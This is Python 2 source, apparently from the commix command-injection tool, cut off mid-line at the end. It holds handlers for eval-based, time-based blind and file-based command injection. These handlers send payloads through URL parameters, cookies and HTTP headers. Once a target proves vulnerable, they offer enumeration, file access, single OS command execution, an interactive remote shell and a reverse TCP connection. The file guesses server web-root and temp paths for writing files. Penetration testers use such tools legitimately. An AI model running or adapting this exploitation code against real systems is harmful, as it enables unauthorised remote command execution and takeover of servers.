def eb_injection_handler(url, delay, filename, http_request_method): counter = 1 vp_flag = True no_result = True export_injection_info = False injection_type = "Results-based Command Injection" technique = "eval-based code injection technique" for item in range(0, len(settings.EXECUTION_FUNCTIONS)): settings.EXECUTION_FUNCTIONS[item] = "${" + settings.EXECUTION_FUNCTIONS[item] + "(" settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS url = eb_injector.warning_detection(url, http_request_method) if not settings.LOAD_SESSION: info_msg = "Testing the " + technique + "... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() i = 0 # Calculate all possible combinations total = len(settings.WHITESPACE) * len(settings.EVAL_PREFIXES) * len(settings.EVAL_SEPARATORS) * len(settings.EVAL_SUFFIXES) for whitespace in settings.WHITESPACE: for prefix in settings.EVAL_PREFIXES: for suffix in settings.EVAL_SUFFIXES: for separator in settings.EVAL_SEPARATORS: # If a previous session is available. if settings.LOAD_SESSION and session_handler.notification(url, technique): url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) checks.check_for_stored_tamper(payload) if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler cb_handler.exploitation(url, delay, filename, http_request_method) if not settings.LOAD_SESSION: i = i + 1 # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" # Change TAG on every request to prevent false-positive results. TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) randv1 = random.randrange(100) randv2 = random.randrange(100) randvcalc = randv1 + randv2 # Define alter shell alter_shell = menu.options.alter_shell try: if alter_shell: # Classic -alter shell- decision payload (check if host is vulnerable). payload = eb_payloads.decision_alter_shell(separator, TAG, randv1, randv2) else: # Classic decision payload (check if host is vulnerable). payload = eb_payloads.decision(separator, TAG, randv1, randv2) suffix = urllib.quote(suffix) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Fixation for specific payload. if ")%3B" + urllib.quote(")}") in payload: payload = payload.replace(")%3B" + urllib.quote(")}"), ")" + urllib.quote(")}")) payload = payload + TAG + "" # Whitespace fixation payload = re.sub(" ", whitespace, payload) if settings.TAMPER_SCRIPTS['base64encode']: from src.core.tamper import base64encode payload = base64encode.encode(payload) else: payload = re.sub(" ", "%20", payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL >= 1: sys.stdout.write("\n" + settings.print_payload(payload)) # Cookie Injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie injection. vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) response = eb_injector.cookie_injection_test(url, vuln_parameter, payload) # User-Agent Injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent injection. vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) response = eb_injector.user_agent_injection_test(url, vuln_parameter, payload) # Referer Injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer injection. vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) response = eb_injector.referer_injection_test(url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) response = eb_injector.custom_header_injection_test(url, vuln_parameter, payload) else: found_cookie_injection = False # Check if target host is vulnerable. response, vuln_parameter = eb_injector.injection_test(payload, http_request_method, url) # if need page reload if menu.options.url_reload: time.sleep(delay) response = urllib.urlopen(url) # Evaluate test results. shell = eb_injector.injection_test_results(response, TAG, randvcalc) if not settings.VERBOSITY_LEVEL >= 1: percent = ((i*100)/total) float_percent = "{0:.1f}".format(round(((i*100)/(total * 1.0)),2)) if shell == False: info_msg = "Testing the " + technique + "... " + "[ " + float_percent + "%" + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if str(float_percent) == "100.0": if no_result == True: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = str(float_percent)+ "%" elif len(shell) != 0: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL else: percent = str(float_percent)+ "%" info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() except KeyboardInterrupt: raise except SystemExit: raise except: continue # Yaw, got shellz! # Do some magic tricks! if shell: found = True no_result = False if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0 : found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: print "" # Print the findings to terminal. success_msg = "The (" + http_request_method + ")" success_msg += found_vuln_parameter + header_name success_msg += the_type + " is vulnerable to " + injection_type + "." print settings.print_success_msg(success_msg) print " (+) Type : " + Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + "" print " (+) Technique : " + Fore.YELLOW + Style.BRIGHT + technique.title() + Style.RESET_ALL + "" print " (+) Payload : " + Fore.YELLOW + Style.BRIGHT + re.sub("%20", " ", payload) + Style.RESET_ALL # Export session if not settings.LOAD_SESSION: session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, delay=0, how_long=0, output_length=0, is_vulnerable="True") else: whitespace = settings.WHITESPACE[0] settings.LOAD_SESSION = False # Check for any enumeration options. if settings.ENUMERATION_DONE == True : while True: question_msg = "Do you want to enumerate again? [Y/n/q] > " enumerate_again = raw_input("\n" + settings.print_question_msg(question_msg)).lower() if enumerate_again in settings.CHOICE_YES: eb_enumeration.do_check(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename) print "" break elif enumerate_again in settings.CHOICE_NO: break elif enumerate_again in settings.CHOICE_QUIT: sys.exit(0) else: if enumerate_again == "": enumerate_again = "enter" err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) + "\n" pass else: if menu.enumeration_options(): eb_enumeration.do_check(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename) if not menu.file_access_options() and not menu.options.os_cmd: print "" # Check for any system file access options. if settings.FILE_ACCESS_DONE == True : if settings.ENUMERATION_DONE != True: print "" while True: question_msg = "Do you want to access files again? [Y/n/q] > " file_access_again = raw_input(settings.print_question_msg(question_msg)).lower() if file_access_again in settings.CHOICE_YES: eb_file_access.do_check(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename) print "" break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: sys.exit(0) else: if file_access_again == "": file_access_again = "enter" err_msg = "'" + file_access_again + "' is not a valid answer." print settings.print_error_msg(err_msg) + "\n" pass else: if menu.file_access_options(): if not menu.enumeration_options(): print "" eb_file_access.do_check(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename) print "" # Check if defined single cmd. if menu.options.os_cmd: if not menu.file_access_options(): print "" eb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename) # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break question_msg = "Do you want a Pseudo-Terminal? [Y/n/q] > " gotshell = raw_input(settings.print_question_msg(question_msg)).lower() if gotshell in settings.CHOICE_YES: print "" print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)" if readline_error: checks.no_readline_module() while True: try: # Tab compliter if not readline_error: readline.set_completer(menu.tab_completer) # MacOSX tab compliter if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''): readline.parse_and_bind("bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind("tab: complete") cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) if os_shell_option == False: if no_result == True: return False else: return True elif os_shell_option == "quit": sys.exit(0) elif os_shell_option == "back": go_back = True break elif os_shell_option == "os_shell": warn_msg = "You are already into an 'os_shell' mode." print settings.print_warning_msg(warn_msg)+ "\n" elif os_shell_option == "reverse_tcp": settings.REVERSE_TCP = True # Set up LHOST / LPORT for The reverse TCP connection. reverse_tcp.configure_reverse_tcp() if settings.REVERSE_TCP == False: continue while True: if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS: result = checks.check_reverse_tcp_options(settings.LHOST) else: cmd = reverse_tcp.reverse_tcp_options() result = checks.check_reverse_tcp_options(cmd) if result != None: if result == 0: return False elif result == 1 or result == 2: go_back_again = True settings.REVERSE_TCP = False break # Command execution results. response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Evaluate injection results. shell = eb_injector.injection_results(response, TAG, cmd) if settings.VERBOSITY_LEVEL >= 1: print "" err_msg = "The reverse TCP connection has been failed!" print settings.print_critical_msg(err_msg) else: pass else: # The main command injection exploitation. response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # if need page reload if menu.options.url_reload: time.sleep(delay) response = urllib.urlopen(url) if menu.options.ignore_session or\ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Evaluate injection results. shell = eb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell).replace(" ", "", 1) if not menu.options.ignore_session : session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) #if shell: if shell != "": shell = "".join(str(p) for p in shell) print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n" else: err_msg = "The '" + cmd + "' command, does not return any output." print "\n" + settings.print_error_msg(err_msg) + "\n" except KeyboardInterrupt: raise except SystemExit: raise elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: sys.exit(0) else: if gotshell == "": gotshell = "enter" err_msg = "'" + gotshell + "' is not a valid answer." print settings.print_error_msg(err_msg) + "\n" pass if no_result == True: print "" return False else : sys.stdout.write("\r") sys.stdout.flush()
def tb_injection_handler(url, timesec, filename, http_request_method, url_time_response): counter = 1 num_of_chars = 1 vp_flag = True no_result = True is_encoded = False possibly_vulnerable = False false_positive_warning = False export_injection_info = False how_long = 0 injection_type = "blind OS command injection" technique = "time-based command injection technique" if settings.VERBOSITY_LEVEL >= 1: info_msg = "Testing the " + "(" + injection_type.split( " ")[0] + ") " + technique + "... " print settings.print_info_msg(info_msg) # Check if defined "--maxlen" option. if menu.options.maxlen: maxlen = settings.MAXLEN # Check if defined "--url-reload" option. if menu.options.url_reload == True: warn_msg = "The '--url-reload' option is not available in " + technique + "." print settings.print_warning_msg(warn_msg) #whitespace = checks.check_whitespaces() # Calculate all possible combinations total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len( settings.SEPARATORS) * len(settings.SUFFIXES) for whitespace in settings.WHITESPACE: for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False # If a previous session is available. how_long_statistic = [] if settings.LOAD_SESSION and session_handler.notification( url, technique, injection_type): try: settings.TIME_BASED_STATE = True cmd = shell = "" url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation( url, http_request_method) checks.check_for_stored_tamper(payload) settings.FOUND_HOW_LONG = how_long settings.FOUND_DIFF = how_long - timesec except TypeError: err_msg = "An error occurred while accessing session file ('" err_msg += settings.SESSION_FILE + "'). " err_msg += "Use the '--flush-session' option." print settings.print_critical_msg(err_msg) raise SystemExit() if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler cb_handler.exploitation(url, timesec, filename, http_request_method) if not settings.LOAD_SESSION: num_of_chars = num_of_chars + 1 # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" # Define alter shell alter_shell = menu.options.alter_shell # Change TAG on every request to prevent false-positive results. TAG = ''.join( random.choice(string.ascii_uppercase) for num_of_chars in range(6)) tag_length = len(TAG) + 4 for output_length in range(1, int(tag_length)): try: if alter_shell: # Time-based decision payload (check if host is vulnerable). payload = tb_payloads.decision_alter_shell( separator, TAG, output_length, timesec, http_request_method) else: # Time-based decision payload (check if host is vulnerable). payload = tb_payloads.decision( separator, TAG, output_length, timesec, http_request_method) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = payload.replace(" ", whitespace) # Perform payload modification payload = checks.perform_payload_modification( payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: payload_msg = payload.replace("\n", "\\n") print settings.print_payload(payload_msg) # Check if defined "--verbose" option. elif settings.VERBOSITY_LEVEL > 1: info_msg = "Generating a payload for injection..." print settings.print_info_msg(info_msg) payload_msg = payload.replace("\n", "\\n") sys.stdout.write( settings.print_payload(payload_msg) + "\n") # Cookie header injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie header injection. vuln_parameter = parameters.specify_cookie_parameter( menu.options.cookie) how_long = tb_injector.cookie_injection_test( url, vuln_parameter, payload) # User-Agent HTTP header injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent HTTP header injection. vuln_parameter = parameters.specify_user_agent_parameter( menu.options.agent) how_long = tb_injector.user_agent_injection_test( url, vuln_parameter, payload) # Referer HTTP header injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer HTTP header injection. vuln_parameter = parameters.specify_referer_parameter( menu.options.referer) how_long = tb_injector.referer_injection_test( url, vuln_parameter, payload) # Host HTTP header injection elif settings.HOST_INJECTION == True: # Check if target host is vulnerable to host HTTP header injection. vuln_parameter = parameters.specify_host_parameter( menu.options.host) how_long = tb_injector.host_injection_test( url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter( settings.INJECT_TAG) how_long = tb_injector.custom_header_injection_test( url, vuln_parameter, payload) else: # Check if target host is vulnerable. how_long, vuln_parameter = tb_injector.injection_test( payload, http_request_method, url) # Statistical analysis in time responses. how_long_statistic.append(how_long) # Injection percentage calculation percent = ((num_of_chars * 100) / total) float_percent = "{0:.1f}".format( round( ((num_of_chars * 100) / (total * 1.0)), 2)) if percent == 100 and no_result == True: if not settings.VERBOSITY_LEVEL >= 1: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = "" else: if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : # Time relative false positive fixation. false_positive_fixation = False if len(TAG) == output_length: # Simple statical analysis statistical_anomaly = True if len(set(how_long_statistic[0:5]) ) == 1: if max(xrange( len(how_long_statistic) ), key=lambda x: how_long_statistic[ x]) == len(TAG) - 1: statistical_anomaly = False how_long_statistic = [] if timesec <= how_long and not statistical_anomaly: false_positive_fixation = True else: false_positive_warning = True # Identified false positive warning message. if false_positive_warning: warn_msg = "Unexpected time delays have been identified due to unstable " warn_msg += "requests. This behavior may lead to false-positive results.\n" sys.stdout.write( "\r" + settings.print_warning_msg( warn_msg)) while True: if not menu.options.batch: question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " sys.stdout.write( settings. print_question_msg( question_msg)) proceed_option = sys.stdin.readline( ).replace("\n", "").lower() else: proceed_option = "" if len(proceed_option) == 0: proceed_option = "c" if proceed_option.lower( ) in settings.CHOICE_PROCEED: if proceed_option.lower( ) == "s": false_positive_fixation = False raise elif proceed_option.lower( ) == "c": timesec = timesec + 1 false_positive_fixation = True break elif proceed_option.lower( ) == "q": raise SystemExit() else: err_msg = "'" + proceed_option + "' is not a valid answer." print settings.print_error_msg( err_msg) pass # Check if false positive fixation is True. if false_positive_fixation: false_positive_fixation = False settings.FOUND_HOW_LONG = how_long settings.FOUND_DIFF = how_long - timesec if false_positive_warning: time.sleep(1) randv1 = random.randrange(1, 10) randv2 = random.randrange(1, 10) randvcalc = randv1 + randv2 if settings.TARGET_OS == "win": if alter_shell: cmd = settings.WIN_PYTHON_DIR + "python.exe -c \"print (" + str( randv1) + " + " + str( randv2) + ")\"" else: cmd = "powershell.exe -InputFormat none write (" + str( randv1) + " + " + str( randv2) + ")" else: cmd = "expr " + str( randv1) + " %2B " + str( randv2) + "" # Set the original delay time original_how_long = how_long # Check for false positive resutls how_long, output = tb_injector.false_positive_check( separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long, url_time_response) if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : if str(output) == str( randvcalc) and len( TAG ) == output_length: possibly_vulnerable = True how_long_statistic = 0 if not settings.VERBOSITY_LEVEL >= 1: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL else: percent = "" else: break # False positive else: if not settings.VERBOSITY_LEVEL >= 1: percent = str( float_percent) + "%" info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "... " + "[ " + percent + " ]" sys.stdout.write( "\r" + settings.print_info_msg( info_msg)) sys.stdout.flush() continue else: if not settings.VERBOSITY_LEVEL >= 1: percent = str(float_percent) + "%" info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "... " + "[ " + percent + " ]" sys.stdout.write( "\r" + settings.print_info_msg( info_msg)) sys.stdout.flush() continue if not settings.VERBOSITY_LEVEL >= 1: info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "... " + "[ " + percent + " ]" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() except KeyboardInterrupt: raise except SystemExit: raise except EOFError: err_msg = "Exiting, due to EOFError." print settings.print_error_msg(err_msg) raise except: percent = ((num_of_chars * 100) / total) float_percent = "{0:.1f}".format( round( ((num_of_chars * 100) / (total * 1.0)), 2)) if str(float_percent) == "100.0": if no_result == True: if not settings.VERBOSITY_LEVEL >= 1: percent = Fore.RED + "FAILED" + Style.RESET_ALL info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "... " + "[ " + percent + " ]" sys.stdout.write( "\r" + settings.print_info_msg( info_msg)) sys.stdout.flush() else: percent = "" else: percent = str(float_percent) + "%" print "" # Print logs notification message logs.logs_notification(filename) #raise else: percent = str(float_percent) + "%" break # Yaw, got shellz! # Do some magic tricks! if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : if (len(TAG) == output_length) and \ (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level): found = True no_result = False # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True if settings.LOAD_SESSION: possibly_vulnerable = False if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param( url) else: found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0: found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique( export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter( vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: if not settings.VERBOSITY_LEVEL >= 1: print "" else: checks.total_of_requests() # Print the findings to terminal. success_msg = "The" if len(found_vuln_parameter ) > 0 and not "cookie" in header_name: success_msg += " " + http_request_method success_msg += ('', ' (JSON)')[ settings.IS_JSON] + ('', ' (SOAP/XML)')[ settings.IS_XML] + the_type + header_name success_msg += found_vuln_parameter + " seems injectable via " success_msg += "(" + injection_type.split( " ")[0] + ") " + technique + "." print settings.print_success_msg(success_msg) print settings.SUB_CONTENT_SIGN + "Payload: " + str( checks.url_decode(payload)) + Style.RESET_ALL # Export session if not settings.LOAD_SESSION: shell = "" session_handler.injection_point_importation( url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_how_long, output_length, is_vulnerable=menu.options.level) #possibly_vulnerable = False else: settings.LOAD_SESSION = False new_line = False # Check for any enumeration options. if settings.ENUMERATION_DONE == True: while True: if not menu.options.batch: question_msg = "Do you want to enumerate again? [Y/n] > " enumerate_again = raw_input( "\n" + settings.print_question_msg( question_msg)).lower() else: enumerate_again = "" if len(enumerate_again) == 0: enumerate_again = "y" if enumerate_again in settings.CHOICE_YES: tb_enumeration.do_check( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) print "" break elif enumerate_again in settings.CHOICE_NO: new_line = True break elif enumerate_again in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.enumeration_options(): tb_enumeration.do_check( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) print "" # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: print "" while True: if not menu.options.batch: question_msg = "Do you want to access files again? [Y/n] > " sys.stdout.write( settings.print_question_msg( question_msg)) file_access_again = sys.stdin.readline( ).replace("\n", "").lower() else: file_access_again = "" if len(file_access_again) == 0: file_access_again = "y" if file_access_again in settings.CHOICE_YES: tb_file_access.do_check( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) break elif file_access_again in settings.CHOICE_NO: if not new_line: new_line = True break elif file_access_again in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + file_access_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: # if not menu.enumeration_options() and not menu.options.os_cmd: # print "" tb_file_access.do_check( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Check if defined single cmd. if menu.options.os_cmd: cmd = menu.options.os_cmd check_how_long, output = tb_enumeration.single_os_cmd_exec( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Export injection result tb_injector.export_injection_results( cmd, separator, output, check_how_long) print "" logs.print_logs_notification(filename, url) raise SystemExit() if not new_line: print "" # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " sys.stdout.write( settings.print_question_msg( question_msg)) gotshell = sys.stdin.readline().replace( "\n", "").lower() else: gotshell = "" if len(gotshell) == 0: gotshell = "y" if gotshell in settings.CHOICE_YES: if not menu.options.batch: print "" print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)" if readline_error: checks.no_readline_module() while True: if false_positive_warning: warn_msg = "Due to unexpected time delays, it is highly " warn_msg += "recommended to enable the 'reverse_tcp' option.\n" sys.stdout.write( "\r" + settings.print_warning_msg( warn_msg)) false_positive_warning = False try: # Tab compliter if not readline_error: readline.set_completer( menu.tab_completer) # MacOSX tab compliter if getattr( readline, '__doc__', '' ) is not None and 'libedit' in getattr( readline, '__doc__', ''): readline.parse_and_bind( "bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind( "tab: complete") cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower( ) in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") if go_back and go_back_again == False: break if go_back and go_back_again: return True else: if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # The main command injection exploitation. check_how_long, output = tb_injector.injection( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Export injection result tb_injector.export_injection_results( cmd, separator, output, check_how_long) if not menu.options.ignore_session: session_handler.store_cmd( url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd( url, cmd, vuln_parameter) print "\n" + Fore.GREEN + Style.BRIGHT + output + Style.RESET_ALL # Update logs with executed cmds and execution results. logs.executed_command( filename, cmd, output) print "" except KeyboardInterrupt: raise except SystemExit: raise except EOFError: err_msg = "Exiting, due to EOFError." print settings.print_error_msg( err_msg) raise elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector( technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + gotshell + "' is not a valid answer." print settings.print_error_msg(err_msg) pass break if no_result == True: if settings.VERBOSITY_LEVEL == 0: print "" return False else: sys.stdout.write("\r") sys.stdout.flush()
def fb_injection_handler(url, delay, filename, http_request_method, url_time_response): counter = 1 vp_flag = True exit_loops = False no_result = True is_encoded = False stop_injection = False call_tmp_based = False next_attack_vector = False export_injection_info = False injection_type = "semi-blind command injection" technique = "file-based injection technique" # Set temp path if settings.TARGET_OS == "win": if "microsoft-iis" in settings.SERVER_BANNER.lower(): settings.TMP_PATH = "C:\\Windows\TEMP\\" else: settings.TMP_PATH = "%temp%\\" else: settings.TMP_PATH = "/tmp/" if menu.options.tmp_path: tmp_path = menu.options.tmp_path else: tmp_path = settings.TMP_PATH if settings.DEFAULT_SRV_ROOT_DIR != settings.SRV_ROOT_DIR: settings.SRV_ROOT_DIR = settings.DEFAULT_SRV_ROOT_DIR if menu.options.file_dest and '/tmp/' in menu.options.file_dest: call_tmp_based = True else: if menu.options.srv_root_dir: settings.SRV_ROOT_DIR = menu.options.srv_root_dir else: # Debian/Ubunt have been updated to use /var/www/html as default instead of /var/www. if "apache" in settings.SERVER_BANNER.lower(): if "debian" or "ubuntu" in settings.SERVER_BANNER.lower(): try: check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower()) if check_version[0] > "2.3" and not settings.TARGET_OS == "win": # Add "/html" to servers root directory settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html" else: settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR except IndexError: pass # Add "/html" to servers root directory elif "fedora" or "centos" in settings.SERVER_BANNER.lower(): settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html" else: pass # On more recent versions (>= "1.2.4") the default root path has changed to "/usr/share/nginx/html" elif "nginx" in settings.SERVER_BANNER.lower(): try: check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower()) if check_version[0] >= "1.2.4": # Add "/html" to servers root directory settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html" else: # Add "/www" to servers root directory settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/www" except IndexError: pass elif "microsoft-iis" in settings.SERVER_BANNER.lower(): pass else: # Provide custom server's root directory. custom_srv_root_dir() path = urlparse.urlparse(url).path path_parts = path.split('/') count = 0 for part in path_parts: count = count + 1 count = count - 1 last_param = path_parts[count] EXTRA_DIR = path.replace(last_param, "") settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + EXTRA_DIR if settings.TARGET_OS == "win": settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR.replace("/","\\") if not settings.LOAD_SESSION or settings.RETEST == True: info_msg = 